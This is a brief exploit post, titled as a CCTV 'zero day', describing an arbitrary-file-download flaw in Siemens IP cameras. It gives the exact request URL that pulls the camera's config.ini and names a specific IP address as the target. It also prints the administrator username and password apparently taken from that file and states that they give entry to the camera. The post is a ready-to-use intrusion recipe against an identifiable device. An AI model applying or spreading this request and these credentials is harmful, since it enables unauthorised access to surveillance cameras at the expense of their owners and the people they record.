cctv hack | zero day exploit

Exploit Title: Siemens IP Camera :: Arbitrary file download

Target  : https://78.56.240.235/cgi-bin/chklogin.cgi?rnd=1473849790369

Downloding the config file : cgi-bin/chklogin.cgi?file=config.ini

https://78.56.240.235/cgi-bin/chklogin.cgi?file=config.ini

this config.ini file contains the username nd password of the administration login

account.admin.user_id=admin
account.admin.password=admin
account.admin.language=english

using this login credentials we can get into the IPcam